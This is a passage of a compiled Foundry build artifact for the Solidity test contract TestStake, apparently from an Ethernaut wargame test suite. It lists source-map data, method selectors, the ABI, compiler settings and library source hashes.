58:160:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:160:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:160:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:160;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19608:277::-;19675:6;19728:2;19716:9;19707:7;19703:23;19699:32;19696:52;;;19744:1;19741;19734:12;19696:52;19776:9;19770:16;19829:5;19822:13;19815:21;19808:5;19805:32;19795:60;;19851:1;19848;19841:12;20996:184;21066:6;21119:2;21107:9;21098:7;21094:23;21090:32;21087:52;;;21135:1;21132;21125:12;21087:52;-1:-1:-1;21158:16:160;;20996:184;-1:-1:-1;20996:184:160:o;21185:125::-;21250:9;;;21271:10;;;21268:36;;;21284:18;;:::i;21497:383::-;21694:2;21683:9;21676:21;21657:4;21720:45;21761:2;21750:9;21746:18;21738:6;21720:45;:::i;:::-;21813:9;21805:6;21801:22;21796:2;21785:9;21781:18;21774:50;21841:33;21867:6;21859;21841:33;:::i;:::-;21833:41;21497:383;-1:-1:-1;;;;;21497:383:160:o;21885:335::-;21964:6;22017:2;22005:9;21996:7;21992:23;21988:32;21985:52;;;22033:1;22030;22023:12;21985:52;22066:9;22060:16;22099:18;22091:6;22088:30;22085:50;;;22131:1;22128;22121:12;22085:50;22154:60;22206:7;22197:6;22186:9;22182:22;22154:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.23+commit.f704f362\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Stake.t.sol\":\"TestStake\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[